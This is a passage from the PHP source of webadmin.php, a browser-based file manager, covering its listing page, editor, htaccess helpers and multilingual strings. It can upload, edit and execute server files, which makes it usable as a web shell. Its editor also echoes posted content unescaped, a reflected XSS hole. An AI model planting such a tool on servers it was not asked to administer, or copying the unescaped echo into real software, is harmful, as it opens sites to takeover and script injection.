$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') $path = '.';
return $path;
}
function simplify_path ($path) {
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize ($filesize) {
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
return $filesize . " {$suffix}B";
}
function strip (&$str) {
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
echo '<h1 style="margin-bottom: 0">webadmin.php</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
$list = sortlist($list, $sort, $reverse);
listing($list);
} else {
echo error('not_readable', $directory);
}
echo '</table>
</form>
';
html_footer();
}
function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
column_title('filename', $sort, $reverse);
column_title('size', $sort, $reverse);
if (!$win) {
column_title('permission', $sort, $reverse);
column_title('owner', $sort, $reverse);
column_title('group', $sort, $reverse);
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo ' ]';
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "</td>\n";
echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
echo html(permission_octal2string($file['permission']));
if ($l) echo '</a>';
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) $actions[] = 'edit';
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo ' </td>
</tr>
';
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit_all" value=" > " onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function column_title ($column, $sort, $reverse) {
global $self, $directory;
$d = 'dir=' . urlencode($directory) . '&';
$arr = '';
if ($sort == $column) {
if (!$reverse) {
$r = '&reverse=true';
$arr = ' ∧';
} else {
$arr = ' ∨';
}
} else {
$r = '';
}
echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
}
function directory_choice () {
global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit ($file) {
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty($_POST['basic_auth'])) {
if ($win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo "\nAuthType Basic\nAuthName "Restricted Directory"\n";
echo 'AuthUserFile "' . html($authfile) . ""\n";
echo 'Require valid-user';
}
echo '</textarea>
<hr />
';
if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ': <input type="text" name="user" />
' . word('password') . ': <input type="password" name="password" />
<input type="submit" value="' . word('add') . '" />
<hr />
';
}
if ($apache && basename($file) == $htaccess) {
echo '
<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
<hr />
';
}
echo '
<input type="hidden" name="action" value="edit" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<input type="reset" value="' . word('reset') . '" id="red_button" />
<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
function spacer () {
global $cols;
echo '<tr>
<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize ($content) {
$size = strlen($content) + 5;
if ($size < 30) $size = 30;
return $size;
}
function request_dump () {
foreach ($_REQUEST as $key => $value) {
echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
}
}
/* ------------------------------------------------------------------------- */
function html ($string) {
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word ($word) {
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase ($phrase, $arguments) {
global $words;
static $search;
if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}
$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords ($lang) {
global $date_format, $word_charset;
$word_charset = 'UTF-8';
switch ($lang) {
case 'de':
$date_format = 'd.m.y H:i:s';
return array(
'directory' => 'Verzeichnis',
'file' => 'Datei',
'filename' => 'Dateiname',
'size' => 'Größe',
'permission' => 'Rechte',
'owner' => 'Eigner',
'group' => 'Gruppe',
'other' => 'Andere',
'functions' => 'Funktionen',
'read' => 'lesen',
'write' => 'schreiben',
'execute' => 'ausführen',
'create_symlink' => 'Symlink erstellen',
'delete' => 'löschen',
'rename' => 'umbenennen',
'move' => 'verschieben',
'copy' => 'kopieren',
'edit' => 'editieren',
'download' => 'herunterladen',
'upload' => 'hochladen',
'create' => 'erstellen',
'change' => 'wechseln',
'save' => 'speichern',
'set' => 'setze',
'reset' => 'zurücksetzen',
'relative' => 'Pfad zum Ziel relativ',
'yes' => 'Ja',
'no' => 'Nein',
'back' => 'zurück',
'destination' => 'Ziel',
'symlink' => 'Symbolischer Link',
'no_output' => 'keine Ausgabe',
'user' => 'Benutzername',
'password' => 'Kennwort',
'add' => 'hinzufügen',
'add_basic_auth' => 'HTTP-Basic-Auth hinzufügen',
'uploaded' => '"[%1]" wurde hochgeladen.',
'not_uploaded' => '"[%1]" konnte nicht hochgeladen werden.',
'already_exists' => '"[%1]" existiert bereits.',
'created' => '"[%1]" wurde erstellt.',
'not_created' => '"[%1]" konnte nicht erstellt werden.',
'really_delete' => 'Sollen folgende Dateien wirklich gelöscht werden?',
'deleted' => "Folgende Dateien wurden gelöscht:\n[%1]",
'not_deleted' => "Folgende Dateien konnten nicht gelöscht werden:\n[%1]",
'rename_file' => 'Benenne Datei um:',
'renamed' => '"[%1]" wurde in "[%2]" umbenannt.',
'not_renamed' => '"[%1] konnte nicht in "[%2]" umbenannt werden.',
'move_files' => 'Verschieben folgende Dateien:',
'moved' => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]",
'not_moved' => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]",
'copy_files' => 'Kopiere folgende Dateien:',
'copied' => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]",
'not_copied' => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]",
'not_edited' => '"[%1]" kann nicht editiert werden.',
'executed' => "\"[%1]\" wurde erfolgreich ausgeführt:\n{%2}",
'not_executed' => "\"[%1]\" konnte nicht erfolgreich ausgeführt werden:\n{%2}",
'saved' => '"[%1]" wurde gespeichert.',
'not_saved' => '"[%1]" konnte nicht gespeichert werden.',
'symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" wurde erstellt.',
'not_symlinked' => 'Symbolischer Link von "[%2]" nach "[%1]" konnte nicht erstellt werden.',
'permission_for' => 'Rechte für "[%1]":',
'permission_set' => 'Die Rechte für "[%1]" wurden auf [%2] gesetzt.',
'permission_not_set' => 'Die Rechte für "[%1]" konnten nicht auf [%2] gesetzt werden.',
'not_readable' => '"[%1]" kann nicht gelesen werden.'
);
case 'fr':
$date_format = 'd.m.y H:i:s';
return array(
'directory' => 'Répertoire',
'file' => 'Fichier',
'filename' => 'Nom fichier',
'size' => 'Taille',
'permission' => 'Droits',
'owner' => 'Propriétaire',
'group' => 'Groupe',
'other' => 'Autres',
'functions' => 'Fonctions',
'read' => 'Lire',
'write' => 'Ecrire',
'execute' => 'Exécuter',
'create_symlink' => 'Créer lien symbolique',
'delete' => 'Effacer',
'rename' => 'Renommer',
'move' => 'Déplacer',
'copy' => 'Copier',
'edit' => 'Ouvrir',
'download' => 'Télécharger sur PC',
'upload' => 'Télécharger sur serveur',
'create' => 'Créer',
'change' => 'Changer',
'save' => 'Sauvegarder',
'set' => 'Exécuter',
'reset' => 'Réinitialiser',
'relative' => 'Relatif',
'yes' => 'Oui',
'no' => 'Non',
'back' => 'Retour',
'destination' => 'Destination',
'symlink' => 'Lien symbollique',
'no_output' => 'Pas de sortie',
'user' => 'Utilisateur',
'password' => 'Mot de passe',
'add' => 'Ajouter',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" a été téléchargé sur le serveur.',
'not_uploaded' => '"[%1]" n a pas été téléchargé sur le serveur.',
'already_exists' => '"[%1]" existe déjà.',
'created' => '"[%1]" a été créé.',
'not_created' => '"[%1]" n a pas pu être créé.',
'really_delete' => 'Effacer le fichier?',
'deleted' => "Ces fichiers ont été détuits:\n[%1]",
'not_deleted' => "Ces fichiers n ont pu être détruits:\n[%1]",
'rename_file' => 'Renomme fichier:',
'renamed' => '"[%1]" a été renommé en "[%2]".',
'not_renamed' => '"[%1] n a pas pu être renommé en "[%2]".',
'move_files' => 'Déplacer ces fichiers:',
'moved' => "Ces fichiers ont été déplacés en \"[%2]\":\n[%1]",
'not_moved' => "Ces fichiers n ont pas pu être déplacés en \"[%2]\":\n[%1]",
'copy_files' => 'Copier ces fichiers:',
'copied' => "Ces fichiers ont été copiés en \"[%2]\":\n[%1]",
'not_copied' => "Ces fichiers n ont pas pu être copiés en \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" ne peut être ouvert.',
'executed' => "\"[%1]\" a été brillamment exécuté :\n{%2}",
'not_executed' => "\"[%1]\" n a pas pu être exécuté:\n{%2}",
'saved' => '"[%1]" a été sauvegardé.',
'not_saved' => '"[%1]" n a pas pu être sauvegardé.',
'symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" a été crée.',
'not_symlinked' => 'Un lien symbolique depuis "[%2]" vers "[%1]" n a pas pu être créé.',
'permission_for' => 'Droits de "[%1]":',
'permission_set' => 'Droits de "[%1]" ont été changés en [%2].',
'permission_not_set' => 'Droits de "[%1]" n ont pas pu être changés en[%2].',
'not_readable' => '"[%1]" ne peut pas être ouvert.'
);
case 'it':
$date_format = 'd-m-Y H:i:s';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Nome File',
'size' => 'Dimensioni',
'permission' => 'Permessi',
'owner' => 'Proprietario',
'group' => 'Gruppo',
'other' => 'Altro',
'functions' => 'Funzioni',
'read' => 'leggi',
'write' => 'scrivi',
'execute' => 'esegui',
'create_symlink' => 'crea link simbolico',
'delete' => 'cancella',
'rename' => 'rinomina',
'move' => 'sposta',
'copy' => 'copia',
'edit' => 'modifica',
'download' => 'download',
'upload' => 'upload',
'create' => 'crea',
'change' => 'cambia',
'save' => 'salva',
'set' => 'imposta',
'reset' => 'reimposta',
'relative' => 'Percorso relativo per la destinazione',
'yes' => 'Si',
'no' => 'No',
'back' => 'indietro',
'destination' => 'Destinazione',
'symlink' => 'Link simbolico',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'aggiungi',
'add_basic_auth' => 'aggiungi autenticazione base',
'uploaded' => '"[%1]" è stato caricato.',
'not_uploaded' => '"[%1]" non è stato caricato.',
'already_exists' => '"[%1]" esiste già.',
'created' => '"[%1]" è stato creato.',
'not_created' => '"[%1]" non è stato creato.',
'really_delete' => 'Cancello questi file ?',
'deleted' => "Questi file sono stati cancellati:\n[%1]",
'not_deleted' => "Questi file non possono essere cancellati:\n[%1]",
'rename_file' => 'File rinominato:',
'renamed' => '"[%1]" è stato rinominato in "[%2]".',
'not_renamed' => '"[%1] non è stato rinominato in "[%2]".',
'move_files' => 'Sposto questi file:',
'moved' => "Questi file sono stati spostati in \"[%2]\":\n[%1]",
'not_moved' => "Questi file non possono essere spostati in \"[%2]\":\n[%1]",
'copy_files' => 'Copio questi file',
'copied' => "Questi file sono stati copiati in \"[%2]\":\n[%1]",
'not_copied' => "Questi file non possono essere copiati in \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" non può essere modificato.',
'executed' => "\"[%1]\" è stato eseguito con successo:\n{%2}",
'not_executed' => "\"[%1]\" non è stato eseguito con successo\n{%2}",
'saved' => '"[%1]" è stato salvato.',
'not_saved' => '"[%1]" non è stato salvato.',
'symlinked' => 'Il link siambolico da "[%2]" a "[%1]" è stato creato.',
'not_symlinked' => 'Il link siambolico da "[%2]" a "[%1]" non è stato creato.',
'permission_for' => 'Permessi di "[%1]":',
'permission_set' => 'I permessi di "[%1]" sono stati impostati [%2].',
'permission_not_set' => 'I permessi di "[%1]" non sono stati impostati [%2].',
'not_readable' => '"[%1]" non può essere letto.'
);
case 'nl':
$date_format = 'n/j/y H:i:s';
return array(
'directory' => 'Directory',
'file' => 'Bestand',
'filename' => 'Bestandsnaam',
'size' => 'Grootte',
'permission' => 'Bevoegdheid',
'owner' => 'Eigenaar',
'group' => 'Groep',
'other' => 'Anderen',
'functions' => 'Functies',
'read' => 'lezen',
'write' => 'schrijven',
'execute' => 'uitvoeren',
'create_symlink' => 'maak symlink',
'delete' => 'verwijderen',
'rename' => 'hernoemen',
'move' => 'verplaatsen',
'copy' => 'kopieren',
'edit' => 'bewerken',
'download' => 'downloaden',
'upload' => 'uploaden',
'create' => 'aanmaken',
'change' => 'veranderen',
'save' => 'opslaan',
'set' => 'instellen',
'reset' => 'resetten',
'relative' => 'Relatief pat naar doel',
'yes' => 'Ja',
'no' => 'Nee',
'back' => 'terug',
'destination' => 'Bestemming',
'symlink' => 'Symlink',
'no_output' => 'geen output',
'user' => 'Gebruiker',
'password' => 'Wachtwoord',
'add' => 'toevoegen',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" is verstuurd.',
'not_uploaded' => '"[%1]" kan niet worden verstuurd.',
'already_exists' => '"[%1]" bestaat al.',
'created' => '"[%1]" is aangemaakt.',
'not_created' => '"[%1]" kan niet worden aangemaakt.',
'really_delete' => 'Deze bestanden verwijderen?',
'deleted' => "Deze bestanden zijn verwijderd:\n[%1]",
'not_deleted' => "Deze bestanden konden niet worden verwijderd:\n[%1]",
'rename_file' => 'Bestandsnaam veranderen:',
'renamed' => '"[%1]" heet nu "[%2]".',
'not_renamed' => '"[%1] kon niet worden veranderd in "[%2]".',
'move_files' => 'Verplaats deze bestanden:',
'moved' => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]",
'not_moved' => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]",
'copy_files' => 'Kopieer deze bestanden:',
'copied' => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]",
'not_copied' => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan niet worden bewerkt.',
'executed' => "\"[%1]\" is met succes uitgevoerd:\n{%2}",
'not_executed' => "\"[%1]\" is niet goed uitgevoerd:\n{%2}",
'saved' => '"[%1]" is opgeslagen.',
'not_saved' => '"[%1]" is niet opgeslagen.',
'symlinked' => 'Symlink van "[%2]" naar "[%1]" is aangemaakt.',
'not_symlinked' => 'Symlink van "[%2]" naar "[%1]" is niet aangemaakt.',
'permission_for' => 'Bevoegdheid voor "[%1]":',
'permission_set' => 'Bevoegdheid van "[%1]" is ingesteld op [%2].',
'permission_not_set' => 'Bevoegdheid van "[%1]" is niet ingesteld op [%2].',
'not_readable' => '"[%1]" kan niet worden gelezen.'
);
case 'se':
$date_format = 'n/j/y H:i:s';
return array(
'directory' => 'Mapp',
'file' => 'Fil',
'filename' => 'Filnamn',
'size' => 'Storlek',
'permission' => 'Säkerhetsnivå',
'owner' => 'Ägare',
'group' => 'Grupp',
'other' => 'Andra',
'functions' => 'Funktioner',
'read' => 'Läs',
'write' => 'Skriv',
'execute' => 'Utför',
'create_symlink' => 'Skapa symlink',
'delete' => 'Radera',
'rename' => 'Byt namn',
'move' => 'Flytta',
'copy' => 'Kopiera',
'edit' => 'Ändra',
'download' => 'Ladda ner',
'upload' => 'Ladda upp',
'create' => 'Skapa',
'change' => 'Ändra',
'save' => 'Spara',
'set' => 'Markera',
'reset' => 'Töm',
'relative' => 'Relative path to target',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'Tillbaks',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'Användare',
'password' => 'Lösenord',
'add' => 'Lägg till',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" har laddats upp.',
'not_uploaded' => '"[%1]" kunde inte laddas upp.',
'already_exists' => '"[%1]" finns redan.',
'created' => '"[%1]" har skapats.',
'not_created' => '"[%1]" kunde inte skapas.',
'really_delete' => 'Radera dessa filer?',
'deleted' => "De här filerna har raderats:\n[%1]",
'not_deleted' => "Dessa filer kunde inte raderas:\n[%1]",
'rename_file' => 'Byt namn på fil:',
'renamed' => '"[%1]" har bytt namn till "[%2]".',
'not_renamed' => '"[%1] kunde inte döpas om till "[%2]".',
'move_files' => 'Flytta dessa filer:',
'moved' => "Dessa filer har flyttats till \"[%2]\":\n[%1]",
'not_moved' => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]",
'copy_files' => 'Kopiera dessa filer:',
'copied' => "Dessa filer har kopierats till \"[%2]\":\n[%1]",
'not_copied' => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan inte ändras.',
'executed' => "\"[%1]\" har utförts:\n{%2}",
'not_executed' => "\"[%1]\" kunde inte utföras:\n{%2}",
'saved' => '"[%1]" har sparats.',
'not_saved' => '"[%1]" kunde inte sparas.',
'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
'permission_for' => 'Rättigheter för "[%1]":',
'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" kan inte läsas.'
);
case 'sp':
$date_format = 'j/n/y H:i:s';
return array(
'directory' => 'Directorio',
'file' => 'Archivo',
'filename' => 'Nombre Archivo',
'size' => 'Tamaño',
'permission' => 'Permisos',
'owner' => 'Propietario',
'group' => 'Grupo',
'other' => 'Otros',
'functions' => 'Funciones',
'read' => 'lectura',
'write' => 'escritura',
'execute' => 'ejecución',
'create_symlink' => 'crear enlace',
'delete' => 'borrar',
'rename' => 'renombrar',
'move' => 'mover',
'copy' => 'copiar',
'edit' => 'editar',
'download' => 'bajar',
'upload' => 'subir',
'create' => 'crear',
'change' => 'cambiar',
'save' => 'salvar',
'set' => 'setear',
'reset' => 'resetear',
'relative' => 'Path relativo',
'yes' => 'Si',
'no' => 'No',
'back' => 'atrás',
'destination' => 'Destino',
'symlink' => 'Enlace',
'no_output' => 'sin salida',
'user' => 'Usuario',
'password' => 'Clave',
'add' => 'agregar',
'add_basic_auth' => 'agregar autentificación básica',
'uploaded' => '"[%1]" ha sido subido.',
'not_uploaded' => '"[%1]" no pudo ser subido.',
'already_exists' => '"[%1]" ya existe.',
'created' => '"[%1]" ha sido creado.',
'not_created' => '"[%1]" no pudo ser creado.',
'really_delete' => '¿Borra estos archivos?',
'deleted' => "Estos archivos han sido borrados:\n[%1]",
'not_deleted' => "Estos archivos no pudieron ser borrados:\n[%1]",
'rename_file' => 'Renombra archivo:',
'renamed' => '"[%1]" ha sido renombrado a "[%2]".',
'not_renamed' => '"[%1] no pudo ser renombrado a "[%2]".',
'move_files' => 'Mover estos archivos:',
'moved' => "Estos archivos han sido movidos a \"[%2]\":\n[%1]",
'not_moved' => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]",
'copy_files' => 'Copiar estos archivos:',
'copied' => "Estos archivos han sido copiados a \"[%2]\":\n[%1]",
'not_copied' => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" no pudo ser editado.',
'executed' => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}",
'not_executed' => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}",
'saved' => '"[%1]" ha sido salvado.',
'not_saved' => '"[%1]" no pudo ser salvado.',
'symlinked' => 'Enlace desde "[%2]" a "[%1]" ha sido creado.',
'not_symlinked' => 'Enlace desde "[%2]" a "[%1]" no pudo ser creado.',
'permission_for' => 'Permisos de "[%1]":',
'permission_set' => 'Permisos de "[%1]" fueron seteados a [%2].',
'permission_not_set' => 'Permisos de "[%1]" no pudo ser seteado a [%2].',
'not_readable' => '"[%1]" no pudo ser leído.'
);
case 'dk':
$date_format = 'n/j/y H:i:s';
return array(
'directory' => 'Mappe',
'file' => 'Fil',
'filename' => 'Filnavn',
'size' => 'Størrelse',
'permission' => 'Rettighed',
'owner' => 'Ejer',
'group' => 'Gruppe',
'other' => 'Andre',
'functions' => 'Funktioner',
'read' => 'læs',
'write' => 'skriv',
'execute' => 'kør',
'create_symlink' => 'opret symbolsk link',
'delete' => 'slet',
'rename' => 'omdøb',
'move' => 'flyt',
'copy' => 'kopier',
'edit' => 'rediger',
'download' => 'download',
'upload' => 'upload',
'create' => 'opret',
'change' => 'skift',
'save' => 'gem',
'set' => 'sæt',
'reset' => 'nulstil',
'relative' => 'Relativ sti til valg',
'yes' => 'Ja',
'no' => 'Nej',
'back' => 'tilbage',
'destination' => 'Distination',
'symlink' => 'Symbolsk link',
'no_output' => 'ingen resultat',
'user' => 'Bruger',
'password' => 'Kodeord',
'add' => 'tilføj',
'add_basic_auth' => 'tilføj grundliggende rettigheder',
'uploaded' => '"[%1]" er blevet uploaded.',
'not_uploaded' => '"[%1]" kunnu ikke uploades.',
'already_exists' => '"[%1]" findes allerede.',
'created' => '"[%1]" er blevet oprettet.',
'not_created' => '"[%1]" kunne ikke oprettes.',
'really_delete' => 'Slet disse filer?',
'deleted' => "Disse filer er blevet slettet:\n[%1]",
'not_deleted' => "Disse filer kunne ikke slettes:\n[%1]",
'rename_file' => 'Omdød fil:',
'renamed' => '"[%1]" er blevet omdøbt til "[%2]".',
'not_renamed' => '"[%1] kunne ikke omdøbes til "[%2]".',
'move_files' => 'Flyt disse filer:',
'moved' => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]",
'not_moved' => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]",
'copy_files' => 'Kopier disse filer:',
'copied' => "Disse filer er kopieret til \"[%2]\":\n[%1]",
'not_copied' => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" kan ikke redigeres.',
'executed' => "\"[%1]\" er blevet kørt korrekt:\n{%2}",
'not_executed' => "\"[%1]\" kan ikke køres korrekt:\n{%2}",
'saved' => '"[%1]" er blevet gemt.',
'not_saved' => '"[%1]" kunne ikke gemmes.',
'symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" er blevet oprettet.',
'not_symlinked' => 'Symbolsk link fra "[%2]" til "[%1]" kunne ikke oprettes.',
'permission_for' => 'Rettigheder for "[%1]":',
'permission_set' => 'Rettigheder for "[%1]" blev sat til [%2].',
'permission_not_set' => 'Rettigheder for "[%1]" kunne ikke sættes til [%2].',
'not_readable' => '"[%1]" Kan ikke læses.'
);
case 'tr':
$date_format = 'n/j/y H:i:s';
return array(
'directory' => 'Klasör',
'file' => 'Dosya',
'filename' => 'dosya adi',
'size' => 'boyutu',
'permission' => 'Izin',
'owner' => 'sahib',
